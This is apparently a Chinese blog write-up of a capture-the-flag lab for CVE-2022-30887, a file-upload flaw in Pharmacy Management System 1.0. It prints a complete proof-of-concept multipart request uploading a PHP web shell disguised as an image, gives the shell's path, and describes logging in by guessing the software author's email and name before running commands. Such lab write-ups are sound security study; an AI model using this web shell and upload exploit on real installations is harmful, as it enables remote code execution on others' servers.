【春秋云境】· CVE-2022-30887
本文最后更新于:3 个月前
CVE-2022-30887
tag:**Pharmacy Management System shell upload
**
1 |
|
- 启动靶机,映入眼帘的同样是一个登陆界面,但是无注册,忘记密码按钮无效,任意填写、爆破均无效
有了之前的经验,我们先查阅一下[CVE漏洞库][http://123.124.177.30/web/xxk/ldxqById.tag?CNNVD=CNNVD-202205-3841],参考[来源MISC的复现文档][https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html]
- 此方法首先要拿到[网页源码][https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download]
- 直接传shell,进行RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40# ------------------------------------------------------------------------------------------
# POC
# ------------------------------------------------------------------------------------------
# Request sent as base user
POST /dawapharma/dawapharma/php_action/editProductImage.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 559
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"
-----------------------------208935235035266125502673738631--- RCE时shell存放地址需要进一步根据源码分析(url + /assets/myimages/shell.php)。
这里分享一个充分利用社会工程学的方法,也算是非预期解。
面对登录界面无法突破,可点击界面中作者官网,也就是在这可以找到项目源码。然而能够意外收获作者邮箱(mayuri.infospace@gmail.com),然后加上作者name(mayurik)是能够登录成功的?!
- 然后去寻找能够上传图片的地方
- 在上图中,添加药品时Image文件无任何限制或校验,直接传
shell.php
,其余选项随意填写。
1 |
|
- 然后在Manage Medicine处找到刚添加的药品,获取所谓的“图片”路径。

- 直接访问,成功phpinfo。
- 传参
cmd
。
1 |
|
- Get flag.
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!